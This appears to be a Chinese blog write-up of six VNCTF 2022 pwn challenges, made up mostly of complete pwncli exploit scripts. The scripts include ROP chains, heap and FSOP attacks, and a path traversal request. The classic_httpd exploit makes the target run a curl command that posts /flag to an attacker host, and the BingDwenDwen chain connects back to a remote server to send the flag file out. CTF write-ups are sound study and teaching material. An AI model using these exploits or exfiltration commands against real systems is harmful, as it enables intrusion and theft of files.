Loading

VNCTF2022-pwn-wp

VNCTF-2022-pwn-wp

V&NCTF2022比赛中pwn的题wp,更新完毕。

  • 上午在HideOnHeap中浪费了太多的时间,尝试了好几个思路都失败了,以后还是不能太头铁(下次还敢
  • 平时得多积累一些有用的函数或脚本,比如_IO_str_finishshellIO_FILE的构造的函数

clear_got

checksec

image-20220212213020242

没有给libc,后来测出来远程使用的版本是libc6_2.23-0ubuntu10_amd64

漏洞点

image-20220212213234651

main函数就一个简单直接的栈溢出,但是got表被清空,没完全清空,还剩下__libc_start_main。后面的stdoutstdin也都在数据段上。

利用思路

清空了got表,考虑使用ret2syscall,发现程序中有syscall; ret。这里主要是利用了一个gadget

0x000000000040075c: mov eax, 0; leave; ret;

结合end2函数,正好可以泄露出libc地址后,执行构造syscall调用read函数,再重新给got表填上。最终思路为:

  • 栈溢出并利用end2泄露出__libc_start_main地址和_IO_2_1_stdout_地址

  • 使用libc-search1或者libc-search2查询出远程的libc版本

  • 重新给puts@got填为system

  • 调用puts@plt,实际执行system("/bin/sh")获取shell

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

# remote libc: libc6_2.23-0ubuntu10_amd64

"""
0x000000000040077e: syscall; ret;
0x00000000004007f3: pop rdi; ret; 
0x00000000004007f1: pop rsi; pop r15; ret; 
0x0000000000400539: ret;
0x000000000040075c: mov eax, 0; leave; ret;
"""

pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
sysret = 0x000000000040077e


payload = flat({
    0x60:[
        0x000000000040075c,
        pop_rdi,
        1,
        pop_rsi_r15, 
        0x601040,
        0,
        0x400773,
        pop_rdi,
        0,
        pop_rsi_r15,
        0x601008,
        0,
        sysret,
        pop_rdi,
        0x601008,
        elf.plt.puts
    ]
}, length=0x100, filler="\x00")

io.sendafter("Welcome to VNCTF! This is a easy competition.///\n", payload)

msg = io.recvn(0x38)
libc_start_main = u64(msg[:8])
stdout = u64(msg[0x20:0x28])
log_address("libc_start_main", libc_start_main)
log_address("stdout", stdout)
libc_base = libc_start_main - 0x020740 # __libc_start_main offset
log_libc_base_addr(libc_base)
log_address("stdout offset", stdout - libc_base) # validate libc

io.send(flat({
    0: "/bin/sh\x00",
    8: [libc_base + 0x045390]*6 # system
}))

io.interactive()

远程打:

image-20220212214326396

easyROPtocol

这题其实本地很快出来了,但是远程打10次成功1次,搞不好中间哪一次就挂了,不知道是不是网的问题。每次send 0x1000个字节过去,要睡眠好长时间才能得到远程的回显,而且中间极容易挂,其实可以把报文长度调小一点,只要能打栈溢出就行。赛后尝试每次发送0xe00大小的字节过去,但还是挂(真是要命

所以这题啊,多试试,试试就逝世。

checksec

image-20220212215051437

没有开PIE和栈保护。远程的libc版本为:libc6_2.31-0ubuntu9.2_amd64

开启了沙箱:

image-20220212220711735

漏洞点

submit函数中,存在栈溢出:

image-20220212215419062

利用思路

漏洞点很简单,关键是需要构造好报文,然后可以触发submit中的栈溢出漏洞。

分析出报文的组成为:

struct message {
	uint32_t heap; 		// 固定值 0x28b7766e
	uint32_t size; 		// submit函数中的memcpy会校验,依次为1 0x1001 0x2001 0x3001
	uint32_t _1; 		// 不能为0
	uint16_t type; 		// 要么为5要么为6
	uint16_t _2; 		// 不能为0
	uint16_t check_sum; // 校验和
	uint16_t _3; 		// 必须为0
	uint16_t flag1; 	// 可控制submit函数的分支
	uint16_t flag2; 	// 当type为6时,必须为0xffff
	char data[];		// 数据
};

计算校验和就是把整个报文加上一个fakeipheadfa,每两个字节取整数,然后异或,最后得到的值填充到check_sum

因此,利用思路总结如下:

  • 构造好4个报文
  • 利用栈溢出,使用write泄露出libc地址(submit函数溢出后rdx6,正好可以泄露地址)
  • 再执行一次main函数
  • 使用libc中的gadgets,用orwflag

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def calc_sum(payload):
    res = 0
    payload = b"fakeipheadfa" +  payload
    assert len(payload) % 2 == 0
    for i in range(len(payload) // 2):
        tmp = payload[2*i: 2*i+2]
        tmp = int.from_bytes(tmp, "little")
        res ^= tmp
    return res


def get_message(size, data=b""):
    payload = b""
    payload += p32(0x28b7766e) # head
    payload += p32(size)
    payload += p32(1)
    payload += p16(6)
    payload += p16(1) # 7
    # check sum后续补上
    payload += p16(0)
    payload += p16(1) # 10
    payload += p16(0xffff)
    payload += data
    last = payload[:0x10]+p16(calc_sum(payload))+payload[0x10:]
    return last


def create(size, data=b""):
    io.sendlineafter("4. Quit.\n", "1")
    sleep(1)
    data = get_message(size, data)
    print(f"send message, message length: {len(data)}")
    io.send(data)
    sleep(5)


def delete(idx):
    io.sendlineafter("4. Quit.\n", "2")
    sleep(1)
    io.sendlineafter("Which?", str(idx))

def submit():
    io.sendlineafter("4. Quit.\n", "3")
    sleep(3)

context.update(timeout=10)

payload = cyclic(0xfe8)
create(1, payload)

create(0x1001, payload)
create(0x2001, payload)

pop_rsi_r15= 0x0000000000401bb1

pay_attack = flat(
    [
        pop_rsi_r15, 
        elf.got.atoi,
        0,
        elf.plt.write,
        0x401a5e
    ]
)

create(0x3001, flat({112:pay_attack}, length=0x400))

submit()

libc_base = recv_current_libc_addr(offset=libc.sym.atoi)
log_libc_base_addr(libc_base)
libc.address = libc_base

delete(0)
delete(1)
delete(2)
delete(3)

payload = cyclic(0xfe8)
create(1, payload)
create(0x1001, payload)
create(0x2001, payload)

pop_rsi_r15= 0x0000000000401bb1

rop = ROP(libc)
rop.mprotect(0x404000, 0x1000, 7)
rop.read(0, 0x404600, 0x200)
rop.call(0x404600)
pay_attack = rop.chain()
create(0x3001, flat({114-8:pay_attack}, length=0x400))
submit()

io.send(asm(shellcraft.cat("/flag")))

io.interactive()

远程打:

image-20220212224448669

FShuiMaster

比较常规的题,有一说一,这一题做得最快。

checksec

image-20220212231939868

保护全开,远程的libc版本为:libc6_2.27-3ubuntu1_amd64

漏洞点

Edit函数,存在off by null

image-20220212232158795

利用思路

分析题目后得知,只能分配largebin chunk,可输入的范围大概处于0x430 ~ 0x700;增删改查都有。使用largebin attack结合一个off by null,然后打_IO_list_all即可完成利用。1

思路总结如下:

  • 利用malloc残存的地址,泄露出libc地址和heap地址。泄露堆地址可以用largebin chunk上残存的地址。
  • largebin attack,修改_IO_list_all为堆地址
  • exit(0) --> _IO_flush_all_lockp ---> IO_OVERFLOW调用链完成利用。libc版本不高,这里我使用的是_IO_str_finish

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']


def increase(size, data="deadbeef"):
    io.sendlineafter("Five: Finished!\n\n", "1")
    io.sendlineafter("Number of words?\n", str(size))
    io.sendafter("please input U character\n", data)


def edit(idx, data):
    io.sendlineafter("Five: Finished!\n\n", "2")
    io.sendlineafter("please input the page U want 2 change\n", str(idx))
    io.sendafter("Now Change U this page :", data)


def dele(idx):
    io.sendlineafter("Five: Finished!\n\n", "3")
    io.sendlineafter("please Input the page U want 2 tear off\n", str(idx))

def scan(idx):
    io.sendlineafter("Five: Finished!\n\n", "4")
    io.sendlineafter("please Input The page U want 2 scan\n", str(idx))


def fini():
    io.sendlineafter("Five: Finished!\n\n", "5")


io.sendlineafter("Please Write U Name on the Book\n\n", "roderick")
increase(0x440) # 0
increase(0x448) # 1
increase(0x4f0) # 2
increase(0x440) # 3

dele(0)
edit(1, b"a"*0x440+p64(0x8a0))
dele(2)

increase(0x440) # 4
scan(1)
libc_base = recv_current_libc_addr(offset=0x3ebca0)
log_libc_base_addr(libc_base)
libc.address = libc_base

increase(0x448) # 5 1
increase(0x4f0) # 6

increase(0x440) # 7
increase(0x448, flat({0x440:"\x01"})) # 8
increase(0x450) # 9
increase(0x440) # 10
dele(7)
dele(9)

increase(0x500) # 11

increase(0x440, "a"*8) # 12
scan(12)
m = io.recvline()
heapaddr = u64_ex(m[8:-1])
log_address("heap address", heapaddr)

dele(1)
f = IO_FILE_plus_struct()
pay = f.getshell_by_str_jumps_finish_when_exit(libc_base + 0x3e8360, libc.sym.system, libc.search(b"/bin/sh").__next__())

increase(0x450, flat({0x58:heapaddr+0x110,
    0xb0:0xffffffffffffffff,
    0x100: pay
}) + b"\n") # 13

dele(13)
edit(5, p64(0x3ec0a0 + libc_base) + p64(libc.sym['_IO_list_all']-0x10)[:7]+b"\n")

increase(0x500)

fini()

io.sendline("cat flag")

io.interactive()

远程打:

image-20220212232939711

classic_httpd

后悔了没有先看这个,这题似乎出得有点bug,对文件路径的校验存在问题,可以直接目录穿越拿到flag

如题,想起最开始学httpd的时候看到的一个项目,虽然年代久远,但是很classic

checksec

image-20220214203306951

泄露地址后发现,远程的libc版本为:libc6_2.31-0ubuntu9.2_amd64

漏洞点

  • HTTP报文请求行处理时候的bug,可以直接读到flag

image-20220214204155538

  • sub_1EB2函数中,两处可以泄露地址:

image-20220214203608034

image-20220214203628544

  • sub_1EB2函数中还有1处可以任意地址写任意值:

image-20220214203755071

利用思路

对于漏洞1,直接发送:

"GET /../flag\r\n\r\n"

对于其他漏洞的思路:

首先分析出对应的结构体为:

struct Msg{
	int count;
	struct {
		struct {
		uint32_t type; 
		uint64_t addr1; 	
		uint64_t addr2;
		uint64_t write_content;
		
		} unit[0];
	}data;
};

处理流程梳理:

type:
	0xf1:
		*(addr1 + addr2) = write_content
	0x88:(count <= 1)
		printf("%p", *(addr1 + addr2))
	0x66: count == 0
		addr1 <= 4:
			printf("%p -> %s", addr1, addr2)
	0x12:
		pass
	0x22: addr1 == "ping" strlen(&addr2) <= 0xf
		show msg

然后,总结思路如下:

  • 泄露程序数据段地址,得到程序加载的基地址
  • 泄露libc地址
  • 修改strcmpsystem地址
  • 构造报文,使远程执行命令system("curl -X POST -F \"flag=@/flag\" ip:port"),这里的ip:port,可以是公网服务器的地址和监听端口,或者在buuoj上用小号去linux basic开个机器(这里没法用bash反弹shellbuu之前修改规则。但是检测到有curl,因此可利用该命令输出flag

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

ip = 'node4.buuoj.cn'
port = 27082
io: tube = remote(ip, port)


context.update(arch="amd64", os="linux", endian="little", log_level="debug")

table = [
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3E, 0xFF, 0xFF, 0xFF, 0x3F,
0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E,
0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28,
0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
]

def b64(payload: bytes) -> str:
    p = len(payload) % 3
    if p != 0:
        payload += (3-p) * b"\x00"
    res = ""
    for i in range(0, len(payload), 3):
        x = payload[i]
        y = payload[i+1]
        z = payload[i+2]
        
        a = x >> 2
        b = ((x & 3) << 4) | (y >> 4)
        c = ((y & 0xf) <<2) | (z >> 6)
        d = z & 0x3f
        for t in (a, b, c, d):
            idx = table.index(t)
            res += chr(idx)
    return res


def get_msg(data: bytes):
    return f"GET /submit.cgi?{b64(data)} HTTP/1.0\r\n\r\n"

# get addr
data = p32(1) + p32(0x66) + p64(4) + p64(0) + p64(0)
io.send(get_msg(data))

io.recvuntil("Let us look. Oh! That is ")
m = io.recvline()
# log_ex(f"{m}")

codebase = int16_ex(m[:14]) - 0x4070
log_code_base_addr(codebase)
# 0x4070
io.close()

# connect again
io: tube = remote(ip, port)
# 
data = p32(1) + p32(0x88) + p64(codebase) + p64(0x60c0) + p64(0)
io.send(get_msg(data))

io.recvuntil("OK! I give you some message!\n")
m = io.recvline()
libc_base = int16_ex(m[-15:-1]) - 0x1232c0
log_libc_base_addr(libc_base)
# log_address("printf ", libc_base + 0x64f70)

systemaddr = libc_base + 0x055410

io.close()

# connect again; exec cmd
io: tube = remote(ip, port)
# 
data = p32(2) + p32(0xf1) + p64(codebase) + p64(0x6048) + p64(systemaddr)
data += p32(0x22) + b"ping".ljust(8, b"\x00") + b"curl -X POST -F \"flag=@/flag\" xxx.xxx.xxx.xxx:xxxx" # 这里需要替换为自己的ip和端口
io.send(get_msg(data))
io.recvall(10)

io.close()

远程打,利用漏洞1

image-20220214204403196

利用其他漏洞,首先在公网服务器上监听一个端口:

image-20220214205110602

然后攻击:

image-20220214205314212

得到flag

image-20220214205335759

BingDwenDwen

这题看都没看,没想到也是简单题

checksec

image-20220214231527747

漏洞点

拍脸上的栈溢出:

image-20220214231604984

利用思路

题目贴心的给出了需要的gadgets,那么直接创建socket,反向连接公网服务器即可。做这题的时候我在本地重新编译了一份。

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']

context.update(arch="amd64", endian="little")

if gift.remote:
    pop_rdi = 0x0000000000401356
    pop_rsi = 0x0000000000401358
    pop_rax = 0x000000000040135a
    pop_rcx = 0x000000000040135d
    pop_rdx = 0x0000000000401354
    sys_ret = 0x0000000000401351
    bss_addr = 0x403700
    push_rax_pop_rcx = 0x000000000040135c
    mov_rdi_rcx = 0x000000000040135f

else:
    pop_rdi = 0x000000000040082f
    pop_rsi = 0x0000000000400831
    pop_rax = 0x0000000000400833
    pop_rdx = 0x000000000040082d
    pop_rcx = 0x0000000000400836
    sys_ret = 0x000000000040082a
    bss_addr = 0x6015A0
    push_rax_pop_rcx = 0x0000000000400835
    mov_rdi_rcx = 0x0000000000400839

"""
s = socket(2, 1, 6)
connect(s, &addr, 0x10)
open(/flag)
read(/flag)
write(socket)
"""

payload = flat({
    0x1d0: [
        # socket
        p16(0x2), # AF_INET
        p16(10001,endian="big"), # PORT
        p32(0x7f000001, endian="big"), # ip 127.0.0.1,修改为公网IP
        p64(0), # padding
        "/flag".ljust(8, "\x00")
    ],
    0x10: [
        pop_rdi, 2,
        pop_rsi, 1,
        pop_rdx, 6,
        pop_rax, SyscallNumber.amd64.SOCKET,
        sys_ret, # socket(2, 1, 6)

        push_rax_pop_rcx,
        mov_rdi_rcx,
        pop_rsi, bss_addr+0x1d0,
        pop_rdx, 0x10,
        pop_rax, SyscallNumber.amd64.CONNECT,
        sys_ret, # connect(s, &addr, 0x10)

        pop_rdi, 
        bss_addr+0x1e0,
        pop_rsi, 0,
        pop_rax, SyscallNumber.amd64.OPEN, # open
        sys_ret,

        push_rax_pop_rcx,
        mov_rdi_rcx,
        pop_rsi,
        bss_addr+0x200,
        pop_rdx,
        0x30, # read
        pop_rax, SyscallNumber.amd64.READ,
        sys_ret,

        pop_rdi, 0,
        pop_rsi, bss_addr+0x200,
        pop_rdx, 0x30,
        pop_rax, SyscallNumber.amd64.WRITE, # write
        sys_ret
    ]

})

io.sendlineafter("Hello,Do You Like Bing Dwen Dwen?\n", payload)

io.interactive()

远程打:

image-20220214231914827

HideOnHeap

这题一开始思路错了,都没往malloc_assert上去想......想着有啥侧信道的技巧可以爆破出来,后来尝试了几个,均因为版本太高,没法利用。赛后看了wp,自己复现一遍。

checksec

image-20220216233834565

远程的libc版本为:libc6_2.31-0ubuntu9.2_amd64

漏洞点

delete分支有个double free

image-20220216234039466

利用思路

程序最开始,将flag读到了堆上,因此,要想办法泄露堆上的信息。那么在assert中,会调用__fxprintf(stderr, ...),这个时候只要劫持了stderr,则可进行FSOP。题目没有IO,没办法泄露地址,基本上把拿shell的路堵死了。此处借鉴house of corrosion的思路,和house of husk很像,都是打global_max_fast,然后用fastbin chunk进行操作读写。libc-2.31one_gdaget的执行条件更为严格。所以,最终还是走泄露这条路。

综上,利用思路为:

  • 利用house of botcake构造overlapped chunk,利用tcache bin poisoning,爆破1/16,修改global_max_fast
  • 同上,分配到stderr结构体处,为修改flags等做准备
  • 利用大的fastbin chunk,修改stderr_IO_write_base/ptr/end,保证_IO_write_base距离flag的堆地址很近
  • 触发一个assert,我选择的是largebin chunk入链时的assert(chunk_is_main_arena(p)),此时会打印出flag

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def add(size):
    io.sendlineafter("Choice:", "1")
    io.sendlineafter("Size:", str(size))


def edit(idx, data):
    io.sendlineafter("Choice:", "2")
    io.sendlineafter("Index:", str(idx))
    io.sendafter("Content:", data)


def dele(idx):
    io.sendlineafter("Choice:", "3")
    io.sendlineafter("Index:", str(idx))


for i in range(9):
    add(0x80)

for i in range(2, 9):
    dele(i)

dele(0)
dele(1)

add(0x80) # 0

dele(1)

add(0x40) # 1
add(0x30) # 2

add(0x40) # 3
add(0x30) # 4

if gift.debug:
    payload1 = get_current_libcbase_addr() + 0x1eeb80 # global_max_fast
    payload2 = payload1 - 0x1eeb80 + 0x1ec5c0
else:
    payload1 = 0x7b80
    payload2 = 0x55c0

edit(3, p16_ex(payload1))

add(0x80) # 5 3
add(0x80) # 6

add(0x40) # 7
add(0x600) # 8
add(0x10) # 9
add(0x600) # 10
add(0x10)  # 11
dele(8)
add(0x14c0) # 8
add(0x14d0) # 12
dele(10)

edit(8, flat({0x380:[0, 0x21, 0, 0, 0, 0x21]}))

dele(7)
dele(1)
dele(3)

edit(5, p8(0x90))

edit(2, p16_ex(payload2))
add(0x40) # 1
add(0x40) # 3

add(0x40) # 7

edit(3, flat({0x38:0x14c1}))

edit(6, p32(0x61616161))
dele(1)
dele(8)
dele(12)

add(0x14b0)
edit(1, flat({0x4c0:[0, 0x615]}))
dele(1)
edit(7, flat(0xfbad1800, "\x00" * 0x19))

edit(6, p32(0x80))

add(0x10)

m = io.recv()
if b"flag" in m:
    log_ex(f"find flag: {m}")
else:
    raise RuntimeError()

io.interactive()

远程打:

image-20220216233742463

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

posted @ 2022-02-13 20:33  LynneHuan  阅读(1060)  评论(3编辑  收藏  举报